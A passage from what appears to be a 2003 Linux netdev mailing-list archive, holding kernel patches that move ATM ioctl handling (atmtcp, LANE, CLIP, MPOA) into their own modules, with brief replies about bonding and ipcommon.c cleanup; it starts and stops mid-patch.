atm_clip_ops->clip_create(arg); + module_put(atm_clip_ops->owner); + } else + error = -ENOSYS; + goto done; + case ATMARPD_CTRL: + if (!capable(CAP_NET_ADMIN)) { + error = -EPERM; + goto done; + } +#if defined(CONFIG_ATM_CLIP_MODULE) + if (!atm_clip_ops) + request_module("clip"); +#endif + if (try_atm_clip_ops()) { + error = atm_clip_ops->atm_init_atmarp(vcc); + if (!error) + sock->state = SS_CONNECTED; + } else + error = -ENOSYS; + goto done; + case ATMARP_MKIP: + if (!capable(CAP_NET_ADMIN)) { + error = -EPERM; + goto done; + } + if (try_atm_clip_ops()) { + error = atm_clip_ops->clip_mkip(vcc, arg); + module_put(atm_clip_ops->owner); + } else + error = -ENOSYS; + goto done; + case ATMARP_SETENTRY: + if (!capable(CAP_NET_ADMIN)) { + error = -EPERM; + goto done; + } + if (try_atm_clip_ops()) { + error = atm_clip_ops->clip_setentry(vcc, arg); + module_put(atm_clip_ops->owner); + } else + error = -ENOSYS; + goto done; + case ATMARP_ENCAP: + if (!capable(CAP_NET_ADMIN)) { + error = -EPERM; + goto done; + } + if (try_atm_clip_ops()) { + error = atm_clip_ops->clip_encap(vcc, arg); + module_put(atm_clip_ops->owner); + } else + error = -ENOSYS; + goto done; +#endif +#if defined(CONFIG_ATM_LANE) || defined(CONFIG_ATM_LANE_MODULE) + case ATMLEC_CTRL: + if (!capable(CAP_NET_ADMIN)) { + error = -EPERM; + goto done; + } +#if defined(CONFIG_ATM_LANE_MODULE) + if (!atm_lane_ops) + request_module("lec"); +#endif + if (try_atm_lane_ops()) { + error = atm_lane_ops->lecd_attach(vcc, (int) arg); + module_put(atm_lane_ops->owner); + if (error >= 0) + sock->state = SS_CONNECTED; + } else + error = -ENOSYS; + goto done; + case ATMLEC_MCAST: + if (!capable(CAP_NET_ADMIN)) { + error = -EPERM; + goto done; + } + if (try_atm_lane_ops()) { + error = atm_lane_ops->mcast_attach(vcc, (int) arg); + module_put(atm_lane_ops->owner); + } else + error = -ENOSYS; + goto done; + case ATMLEC_DATA: + if (!capable(CAP_NET_ADMIN)) { + error = -EPERM; + goto done; + } + if (try_atm_lane_ops()) { + error = atm_lane_ops->vcc_attach(vcc, (void *) arg); + module_put(atm_lane_ops->owner); + } else + error = -ENOSYS; + goto done; +#endif +#if defined(CONFIG_ATM_MPOA) || defined(CONFIG_ATM_MPOA_MODULE) + case ATMMPC_CTRL: + if (!capable(CAP_NET_ADMIN)) { + error = -EPERM; + goto done; + } +#if defined(CONFIG_ATM_MPOA_MODULE) + if (!atm_mpoa_ops) + request_module("mpoa"); +#endif + if (try_atm_mpoa_ops()) { + error = atm_mpoa_ops->mpoad_attach(vcc, (int) arg); + module_put(atm_mpoa_ops->owner); + if (error >= 0) + sock->state = SS_CONNECTED; + } else + error = -ENOSYS; + goto done; + case ATMMPC_DATA: + if (!capable(CAP_NET_ADMIN)) { + error = -EPERM; + goto done; + } + if (try_atm_mpoa_ops()) { + error = atm_mpoa_ops->vcc_attach(vcc, arg); + module_put(atm_mpoa_ops->owner); + } else + error = -ENOSYS; + goto done; +#endif +#if defined(CONFIG_ATM_TCP) || defined(CONFIG_ATM_TCP_MODULE) + case SIOCSIFATMTCP: + if (!capable(CAP_NET_ADMIN)) { + error = -EPERM; + goto done; + } + if (!atm_tcp_ops.attach) { + error = -ENOPKG; + goto done; + } + fops_get(&atm_tcp_ops); + error = atm_tcp_ops.attach(vcc, (int) arg); + if (error >= 0) + sock->state = SS_CONNECTED; + else + fops_put (&atm_tcp_ops); + goto done; + case ATMTCP_CREATE: + if (!capable(CAP_NET_ADMIN)) { + error = -EPERM; + goto done; + } + if (!atm_tcp_ops.create_persistent) { + error = -ENOPKG; + goto done; + } + error = atm_tcp_ops.create_persistent((int) arg); + if (error < 0) + fops_put (&atm_tcp_ops); + goto done; + case ATMTCP_REMOVE: + if (!capable(CAP_NET_ADMIN)) { + error = -EPERM; + goto done; + } + if (!atm_tcp_ops.remove_persistent) { + error = -ENOPKG; + goto done; + } + error = atm_tcp_ops.remove_persistent((int) arg); + fops_put(&atm_tcp_ops); + goto done; +#endif + default: + break; + } + error = -ENOIOCTLCMD; +#if defined(CONFIG_PPPOATM) || defined(CONFIG_PPPOATM_MODULE) + down(&pppoatm_ioctl_mutex); + if (pppoatm_ioctl_hook) + error = pppoatm_ioctl_hook(vcc, cmd, arg); + up(&pppoatm_ioctl_mutex); + if (error != -ENOIOCTLCMD) + goto done; +#endif +#if defined(CONFIG_ATM_BR2684) || defined(CONFIG_ATM_BR2684_MODULE) + down(&br2684_ioctl_mutex); + if (br2684_ioctl_hook) + error = br2684_ioctl_hook(vcc, cmd, arg); + up(&br2684_ioctl_mutex); + if (error != -ENOIOCTLCMD) + goto done; +#endif + + error = atm_dev_ioctl(cmd, arg); + +done: + return error; +} From chas@cmf.nrl.navy.mil Thu Sep 25 09:12:10 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 09:12:15 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PGC9Fx032066 for ; Thu, 25 Sep 2003 09:12:09 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8PGC3kT007023; Thu, 25 Sep 2003 12:12:04 -0400 (EDT) Message-Id: <200309251612.h8PGC3kT007023@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: [ioctl][8/8] use new code for atmtcp (from levon@movementarian.org) Reply-To: chas3@users.sourceforge.net Date: Thu, 25 Sep 2003 12:12:05 -0400 From: chas williams X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 228 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 3996 Lines: 158 please apply to 2.6 -- thanks # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1454 -> 1.1455 # net/atm/ioctl.c 1.5 -> 1.6 # drivers/atm/atmtcp.c 1.19 -> 1.20 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/23 chas@relax.cmf.nrl.navy.mil 1.1455 # [ATM]: [ioctl][8/8] use new code for atmtcp (from levon@movementarian.org) # -------------------------------------------- # diff -Nru a/drivers/atm/atmtcp.c b/drivers/atm/atmtcp.c --- a/drivers/atm/atmtcp.c Thu Sep 25 09:25:00 2003 +++ b/drivers/atm/atmtcp.c Thu Sep 25 09:25:00 2003 @@ -431,32 +431,52 @@ return 0; } +static int atmtcp_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg) +{ + int err = 0; + struct atm_vcc *vcc = ATM_SD(sock); + + if (cmd != SIOCSIFATMTCP && cmd != ATMTCP_CREATE && cmd != ATMTCP_REMOVE) + return -ENOIOCTLCMD; -#ifdef MODULE + if (!capable(CAP_NET_ADMIN)) + return -EPERM; -int init_module(void) + switch (cmd) { + case SIOCSIFATMTCP: + err = atmtcp_attach(vcc, (int) arg); + if (err >= 0) { + sock->state = SS_CONNECTED; + __module_get(THIS_MODULE); + } + break; + case ATMTCP_CREATE: + err = atmtcp_create_persistent((int) arg); + break; + case ATMTCP_REMOVE: + err = atmtcp_remove_persistent((int) arg); + break; + } + return err; +} + +static struct atm_ioctl atmtcp_ioctl_ops = { + .owner = THIS_MODULE, + .ioctl = atmtcp_ioctl, +}; + +static __init int atmtcp_init(void) { - atm_tcp_ops.attach = atmtcp_attach; - atm_tcp_ops.create_persistent = atmtcp_create_persistent; - atm_tcp_ops.remove_persistent = atmtcp_remove_persistent; + register_atm_ioctl(&atmtcp_ioctl_ops); return 0; } -void cleanup_module(void) +static void __exit atmtcp_exit(void) { - atm_tcp_ops.attach = NULL; - atm_tcp_ops.create_persistent = NULL; - atm_tcp_ops.remove_persistent = NULL; + deregister_atm_ioctl(&atmtcp_ioctl_ops); } MODULE_LICENSE("GPL"); -#else - -struct atm_tcp_ops atm_tcp_ops = { - atmtcp_attach, /* attach */ - atmtcp_create_persistent, /* create_persistent */ - atmtcp_remove_persistent /* remove_persistent */ -}; - -#endif +module_init(atmtcp_init); +module_exit(atmtcp_exit); diff -Nru a/net/atm/ioctl.c b/net/atm/ioctl.c --- a/net/atm/ioctl.c Thu Sep 25 09:25:00 2003 +++ b/net/atm/ioctl.c Thu Sep 25 09:25:00 2003 @@ -53,14 +53,6 @@ #endif #endif -#if defined(CONFIG_ATM_TCP) || defined(CONFIG_ATM_TCP_MODULE) -#include -#ifdef CONFIG_ATM_TCP_MODULE -struct atm_tcp_ops atm_tcp_ops; -EXPORT_SYMBOL(atm_tcp_ops); -#endif -#endif - static DECLARE_MUTEX(ioctl_mutex); static LIST_HEAD(ioctl_list); @@ -184,49 +176,6 @@ module_put(atm_lane_ops->owner); } else error = -ENOSYS; - goto done; -#endif -#if defined(CONFIG_ATM_TCP) || defined(CONFIG_ATM_TCP_MODULE) - case SIOCSIFATMTCP: - if (!capable(CAP_NET_ADMIN)) { - error = -EPERM; - goto done; - } - if (!atm_tcp_ops.attach) { - error = -ENOPKG; - goto done; - } - fops_get(&atm_tcp_ops); - error = atm_tcp_ops.attach(vcc, (int) arg); - if (error >= 0) - sock->state = SS_CONNECTED; - else - fops_put (&atm_tcp_ops); - goto done; - case ATMTCP_CREATE: - if (!capable(CAP_NET_ADMIN)) { - error = -EPERM; - goto done; - } - if (!atm_tcp_ops.create_persistent) { - error = -ENOPKG; - goto done; - } - error = atm_tcp_ops.create_persistent((int) arg); - if (error < 0) - fops_put (&atm_tcp_ops); - goto done; - case ATMTCP_REMOVE: - if (!capable(CAP_NET_ADMIN)) { - error = -EPERM; - goto done; - } - if (!atm_tcp_ops.remove_persistent) { - error = -ENOPKG; - goto done; - } - error = atm_tcp_ops.remove_persistent((int) arg); - fops_put(&atm_tcp_ops); goto done; #endif default: From chas@cmf.nrl.navy.mil Thu Sep 25 09:14:08 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 09:14:13 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PGE8Fx000370 for ; Thu, 25 Sep 2003 09:14:08 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8PGE3kT007069; Thu, 25 Sep 2003 12:14:03 -0400 (EDT) Message-Id: <200309251614.h8PGE3kT007069@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: use dev_get_by_name() instead of atm_lane_ops->get_lec() [2/3] Reply-To: chas3@users.sourceforge.net Date: Thu, 25 Sep 2003 12:14:04 -0400 From: chas williams X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 229 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 1028 Lines: 32 # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1456 -> 1.1457 # net/atm/mpc.c 1.28 -> 1.29 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/23 chas@relax.cmf.nrl.navy.mil 1.1457 # [ATM]: use dev_get_by_name() instead of atm_lane_ops->get_lec() [2/3] # -------------------------------------------- # diff -Nru a/net/atm/mpc.c b/net/atm/mpc.c --- a/net/atm/mpc.c Thu Sep 25 09:25:42 2003 +++ b/net/atm/mpc.c Thu Sep 25 09:25:42 2003 @@ -250,11 +250,11 @@ static struct net_device *find_lec_by_itfnum(int itf) { struct net_device *dev; - if (!try_atm_lane_ops()) - return NULL; + char name[IFNAMSIZ]; - dev = atm_lane_ops->get_lec(itf); - module_put(atm_lane_ops->owner); + sprintf(name, "lec%d", itf); + dev = dev_get_by_name(name); + return dev; } From chas@cmf.nrl.navy.mil Thu Sep 25 09:14:41 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 09:14:46 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PGEeFx000615 for ; Thu, 25 Sep 2003 09:14:41 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8PGEYkT007098; Thu, 25 Sep 2003 12:14:34 -0400 (EDT) Message-Id: <200309251614.h8PGEYkT007098@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: use new ioctl code for lane [3/3] Reply-To: chas3@users.sourceforge.net Date: Thu, 25 Sep 2003 12:14:36 -0400 From: chas williams X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 230 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 6012 Lines: 233 please apply to 2.6 -- thanks # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1457 -> 1.1458 # net/atm/lec.h 1.6 -> 1.7 # net/atm/lec.c 1.40 -> 1.41 # net/atm/ioctl.c 1.6 -> 1.7 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/25 chas@relax.cmf.nrl.navy.mil 1.1458 # [ATM]: use new ioctl code for lane [3/3] # -------------------------------------------- # diff -Nru a/net/atm/ioctl.c b/net/atm/ioctl.c --- a/net/atm/ioctl.c Thu Sep 25 09:28:46 2003 +++ b/net/atm/ioctl.c Thu Sep 25 09:28:46 2003 @@ -16,42 +16,12 @@ #include #include #include +#include #include #include "resources.h" #include "signaling.h" /* for WAITING and sigd_attach */ -#if defined(CONFIG_ATM_LANE) || defined(CONFIG_ATM_LANE_MODULE) -#include -#include "lec.h" -#include "lec_arpc.h" -struct atm_lane_ops *atm_lane_ops; -static DECLARE_MUTEX(atm_lane_ops_mutex); - -void atm_lane_ops_set(struct atm_lane_ops *hook) -{ - down(&atm_lane_ops_mutex); - atm_lane_ops = hook; - up(&atm_lane_ops_mutex); -} - -int try_atm_lane_ops(void) -{ - down(&atm_lane_ops_mutex); - if (atm_lane_ops && try_module_get(atm_lane_ops->owner)) { - up(&atm_lane_ops_mutex); - return 1; - } - up(&atm_lane_ops_mutex); - return 0; -} - -#if defined(CONFIG_ATM_LANE_MODULE) || defined(CONFIG_ATM_MPOA_MODULE) -EXPORT_SYMBOL(atm_lane_ops); -EXPORT_SYMBOL(try_atm_lane_ops); -EXPORT_SYMBOL(atm_lane_ops_set); -#endif -#endif static DECLARE_MUTEX(ioctl_mutex); static LIST_HEAD(ioctl_list); @@ -137,47 +107,6 @@ if (!error) sock->state = SS_CONNECTED; goto done; -#if defined(CONFIG_ATM_LANE) || defined(CONFIG_ATM_LANE_MODULE) - case ATMLEC_CTRL: - if (!capable(CAP_NET_ADMIN)) { - error = -EPERM; - goto done; - } -#if defined(CONFIG_ATM_LANE_MODULE) - if (!atm_lane_ops) - request_module("lec"); -#endif - if (try_atm_lane_ops()) { - error = atm_lane_ops->lecd_attach(vcc, (int) arg); - module_put(atm_lane_ops->owner); - if (error >= 0) - sock->state = SS_CONNECTED; - } else - error = -ENOSYS; - goto done; - case ATMLEC_MCAST: - if (!capable(CAP_NET_ADMIN)) { - error = -EPERM; - goto done; - } - if (try_atm_lane_ops()) { - error = atm_lane_ops->mcast_attach(vcc, (int) arg); - module_put(atm_lane_ops->owner); - } else - error = -ENOSYS; - goto done; - case ATMLEC_DATA: - if (!capable(CAP_NET_ADMIN)) { - error = -EPERM; - goto done; - } - if (try_atm_lane_ops()) { - error = atm_lane_ops->vcc_attach(vcc, (void *) arg); - module_put(atm_lane_ops->owner); - } else - error = -ENOSYS; - goto done; -#endif default: break; } @@ -186,6 +115,8 @@ request_module("mpoa"); if (cmd == ATMARPD_CTRL) request_module("clip"); + if (cmd == ATMLEC_CTRL) + request_module("lec"); error = -ENOIOCTLCMD; diff -Nru a/net/atm/lec.c b/net/atm/lec.c --- a/net/atm/lec.c Thu Sep 25 09:28:46 2003 +++ b/net/atm/lec.c Thu Sep 25 09:28:46 2003 @@ -835,16 +835,6 @@ return i; } -static struct atm_lane_ops __atm_lane_ops = -{ - .lecd_attach = lecd_attach, - .mcast_attach = lec_mcast_attach, - .vcc_attach = lec_vcc_attach, - .get_lec = get_dev_lec, - .owner = THIS_MODULE -}; - - #ifdef CONFIG_PROC_FS static char* lec_arp_get_status_string(unsigned char status) { @@ -1092,6 +1082,44 @@ }; #endif +static int lane_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg) +{ + struct atm_vcc *vcc = ATM_SD(sock); + int err = 0; + + switch (cmd) { + case ATMLEC_CTRL: + case ATMLEC_MCAST: + case ATMLEC_DATA: + if (!capable(CAP_NET_ADMIN)) + return -EPERM; + break; + default: + return -ENOIOCTLCMD; + } + + switch (cmd) { + case ATMLEC_CTRL: + err = lecd_attach(vcc, (int) arg); + if (err >= 0) + sock->state = SS_CONNECTED; + break; + case ATMLEC_MCAST: + err = lec_mcast_attach(vcc, (int) arg); + break; + case ATMLEC_DATA: + err = lec_vcc_attach(vcc, (void *) arg); + break; + } + + return err; +} + +static struct atm_ioctl lane_ioctl_ops = { + .owner = THIS_MODULE, + .ioctl = lane_ioctl, +}; + static int __init lane_module_init(void) { #ifdef CONFIG_PROC_FS @@ -1102,7 +1130,7 @@ p->proc_fops = &lec_seq_fops; #endif - atm_lane_ops_set(&__atm_lane_ops); + register_atm_ioctl(&lane_ioctl_ops); printk("lec.c: " __DATE__ " " __TIME__ " initialized\n"); return 0; } @@ -1114,7 +1142,7 @@ remove_proc_entry("lec", atm_proc_root); - atm_lane_ops_set(NULL); + deregister_atm_ioctl(&lane_ioctl_ops); for (i = 0; i < MAX_LEC_ITF; i++) { if (dev_lec[i] != NULL) { diff -Nru a/net/atm/lec.h b/net/atm/lec.h --- a/net/atm/lec.h Thu Sep 25 09:28:46 2003 +++ b/net/atm/lec.h Thu Sep 25 09:28:46 2003 @@ -60,14 +60,6 @@ u8 *tlvs, u32 sizeoftlvs); }; -struct atm_lane_ops { - int (*lecd_attach)(struct atm_vcc *vcc, int arg); - int (*mcast_attach)(struct atm_vcc *vcc, int arg); - int (*vcc_attach)(struct atm_vcc *vcc, void *arg); - struct net_device * (*get_lec)(int itf); - struct module *owner; -}; - /* * ATM LAN Emulation supports both LLC & Dix Ethernet EtherType * frames. @@ -156,10 +148,6 @@ atmlec_msg_type type, unsigned char *mac_addr, unsigned char *atm_addr, struct sk_buff *data); void lec_push(struct atm_vcc *vcc, struct sk_buff *skb); - -extern struct atm_lane_ops *atm_lane_ops; -void atm_lane_ops_set(struct atm_lane_ops *hook); -int try_atm_lane_ops(void); #endif /* _LEC_H_ */ From fubar@us.ibm.com Thu Sep 25 09:24:08 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 09:24:15 -0700 (PDT) Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PGO1Fx001848 for ; Thu, 25 Sep 2003 09:24:08 -0700 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e33.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id h8PGN6xw296024; Thu, 25 Sep 2003 12:23:06 -0400 Received: from death.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id h8PGN2Ox166968; Thu, 25 Sep 2003 10:23:03 -0600 Received: from us.ibm.com (fubar@localhost) by death.ibm.com (8.12.5/8.12.5/Submit) with ESMTP id h8PGMaD1013425; Thu, 25 Sep 2003 09:22:43 -0700 Message-Id: <200309251622.h8PGMaD1013425@death.ibm.com> X-Authentication-Warning: death.ibm.com: fubar owned process doing -bs To: shmulik.hen@intel.com cc: bonding-devel@lists.sourceforge.net, bonding-announce@lists.sourceforge.net, netdev@oss.sgi.com, linux-kernel@vger.kernel.org, linux-net@vger.kernel.org, "Jeff Garzik" , "Noam, Amir" , "Mendelson, Tsippy" , "Noam, Marom" Subject: Re: [PATCH SET][bonding] cleanup In-Reply-To: Message from Shmulik Hen of "Thu, 25 Sep 2003 15:49:59 +0300." <200309251549.59177.shmulik.hen@intel.com> Date: Thu, 25 Sep 2003 09:22:36 -0700 From: Jay Vosburgh X-archive-position: 231 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: fubar@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 420 Lines: 13 >patch 7 - eliminate the multicast_mode module param. settings are now > done only according to mode. This goes a bit beyond straight cleanup; could you explain the rationale for this change? Also, unless I'm missing something, the patch does not appear to update bonding.txt to reflect the fact that the module parameter is no more. -J --- -Jay Vosburgh, IBM Linux Technology Center, fubar@us.ibm.com From mitch@sfgoth.com Thu Sep 25 09:29:20 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 09:29:26 -0700 (PDT) Received: from gaz.sfgoth.com ([63.205.85.133]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PGTKFx002340 for ; Thu, 25 Sep 2003 09:29:20 -0700 Received: from gaz.sfgoth.com (localhost.sfgoth.com [127.0.0.1]) by gaz.sfgoth.com (8.12.9p1/8.12.9) with ESMTP id h8PGbL16028520; Thu, 25 Sep 2003 09:37:21 -0700 (PDT) (envelope-from mitch@gaz.sfgoth.com) Received: (from mitch@localhost) by gaz.sfgoth.com (8.12.9p1/8.12.6/Submit) id h8PGbKEX028519; Thu, 25 Sep 2003 09:37:20 -0700 (PDT) (envelope-from mitch) Date: Thu, 25 Sep 2003 09:37:20 -0700 From: Mitchell Blank Jr To: chas williams Cc: Christoph Hellwig , netdev@oss.sgi.com Subject: Re: skb_migrate() / net/atm/ipcommon.c Message-ID: <20030925163720.GA28244@gaz.sfgoth.com> References: <20030925121941.GA409@lst.de> <200309251317.h8PDHKkT003298@ginger.cmf.nrl.navy.mil> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200309251317.h8PDHKkT003298@ginger.cmf.nrl.navy.mil> User-Agent: Mutt/1.4.1i X-archive-position: 232 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mitch@sfgoth.com Precedence: bulk X-list: netdev Content-Length: 548 Lines: 13 chas williams wrote: > i am fairly sure this function will go away in the future. > its used to move an existing skb_queue to a new queue, so > the queue can be 're-processed'. it seems to me that it > might be easier to just find the current tail of the queue > and process the queue to that point instead of copying to a > new list. its on that list of things to do. Yes, my series of "backend" patches removes ipcommon.[ch] entirely. I'll try to send a rediff of them over the weekend if all the currently pending ATM patches land. -Mitch From chas@cmf.nrl.navy.mil Thu Sep 25 09:32:09 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 09:32:18 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PGW6G3002755 for ; Thu, 25 Sep 2003 09:32:09 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8PGBDkT006991; Thu, 25 Sep 2003 12:11:13 -0400 (EDT) Message-Id: <200309251611.h8PGBDkT006991@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: [ioctl][6/8] move clip seq_file ops to clip.c (from levon@movementarian.org) Reply-To: chas3@users.sourceforge.net Date: Thu, 25 Sep 2003 12:11:14 -0400 From: chas williams X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 234 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 12666 Lines: 529 please apply to 2.6 -- thanks # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1452 -> 1.1453 # net/atm/proc.c 1.31 -> 1.32 # include/linux/atmdev.h 1.31 -> 1.32 # net/atm/clip.c 1.27 -> 1.28 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/23 chas@relax.cmf.nrl.navy.mil 1.1453 # [ATM]: [ioctl][6/8] move clip seq_file ops to clip.c (from levon@movementarian.org) # -------------------------------------------- # diff -Nru a/include/linux/atmdev.h b/include/linux/atmdev.h --- a/include/linux/atmdev.h Thu Sep 25 09:24:43 2003 +++ b/include/linux/atmdev.h Thu Sep 25 09:24:43 2003 @@ -214,6 +214,8 @@ #ifdef CONFIG_PROC_FS #include + +extern struct proc_dir_entry *atm_proc_root; #endif diff -Nru a/net/atm/clip.c b/net/atm/clip.c --- a/net/atm/clip.c Thu Sep 25 09:24:43 2003 +++ b/net/atm/clip.c Thu Sep 25 09:24:43 2003 @@ -24,6 +24,10 @@ #include /* for IFF_UP */ #include #include +#ifdef CONFIG_PROC_FS +#include +#include +#endif #include /* for struct rtable and routing */ #include /* icmp_send */ #include /* for HZ */ @@ -768,8 +772,226 @@ .owner = THIS_MODULE }; +#ifdef CONFIG_PROC_FS + +static void svc_addr(struct seq_file *seq, struct sockaddr_atmsvc *addr) +{ + static int code[] = { 1,2,10,6,1,0 }; + static int e164[] = { 1,8,4,6,1,0 }; + + if (*addr->sas_addr.pub) { + seq_printf(seq, "%s", addr->sas_addr.pub); + if (*addr->sas_addr.prv) + seq_putc(seq, '+'); + } else if (!*addr->sas_addr.prv) { + seq_printf(seq, "%s", "(none)"); + return; + } + if (*addr->sas_addr.prv) { + unsigned char *prv = addr->sas_addr.prv; + int *fields; + int i, j; + + fields = *prv == ATM_AFI_E164 ? e164 : code; + for (i = 0; fields[i]; i++) { + for (j = fields[i]; j; j--) + seq_printf(seq, "%02X", *prv++); + if (fields[i+1]) + seq_putc(seq, '.'); + } + } +} + +static void atmarp_info(struct seq_file *seq, struct net_device *dev, + struct atmarp_entry *entry, struct clip_vcc *clip_vcc) +{ + char buf[17]; + int svc, off; + + svc = !clip_vcc || clip_vcc->vcc->sk->sk_family == AF_ATMSVC; + seq_printf(seq, "%-6s%-4s%-4s%5ld ", dev->name, svc ? "SVC" : "PVC", + !clip_vcc || clip_vcc->encap ? "LLC" : "NULL", + (jiffies-(clip_vcc ? clip_vcc->last_use : entry->neigh->used))/HZ); + + off = snprintf(buf, sizeof(buf) - 1, "%d.%d.%d.%d", NIPQUAD(entry->ip)); + while (off < 16) + buf[off++] = ' '; + buf[off] = '\0'; + seq_printf(seq, "%s", buf); + + if (!clip_vcc) { + if (time_before(jiffies, entry->expires)) + seq_printf(seq, "(resolving)\n"); + else + seq_printf(seq, "(expired, ref %d)\n", + atomic_read(&entry->neigh->refcnt)); + } else if (!svc) { + seq_printf(seq, "%d.%d.%d\n", clip_vcc->vcc->dev->number, + clip_vcc->vcc->vpi, clip_vcc->vcc->vci); + } else { + svc_addr(seq, &clip_vcc->vcc->remote); + seq_putc(seq, '\n'); + } +} + +struct arp_state { + int bucket; + struct neighbour *n; + struct clip_vcc *vcc; +}; + +static void *arp_vcc_walk(struct arp_state *state, + struct atmarp_entry *e, loff_t *l) +{ + struct clip_vcc *vcc = state->vcc; + + if (!vcc) + vcc = e->vccs; + if (vcc == (void *)1) { + vcc = e->vccs; + --*l; + } + for (; vcc; vcc = vcc->next) { + if (--*l < 0) + break; + } + state->vcc = vcc; + return (*l < 0) ? state : NULL; +} + +static void *arp_get_idx(struct arp_state *state, loff_t l) +{ + void *v = NULL; + + for (; state->bucket <= NEIGH_HASHMASK; state->bucket++) { + for (; state->n; state->n = state->n->next) { + v = arp_vcc_walk(state, NEIGH2ENTRY(state->n), &l); + if (v) + goto done; + } + state->n = clip_tbl_hook->hash_buckets[state->bucket + 1]; + } +done: + return v; +} + +static void *arp_seq_start(struct seq_file *seq, loff_t *pos) +{ + struct arp_state *state = seq->private; + void *ret = (void *)1; + + if (!clip_tbl_hook) { + state->bucket = -1; + goto out; + } + + read_lock_bh(&clip_tbl_hook->lock); + state->bucket = 0; + state->n = clip_tbl_hook->hash_buckets[0]; + state->vcc 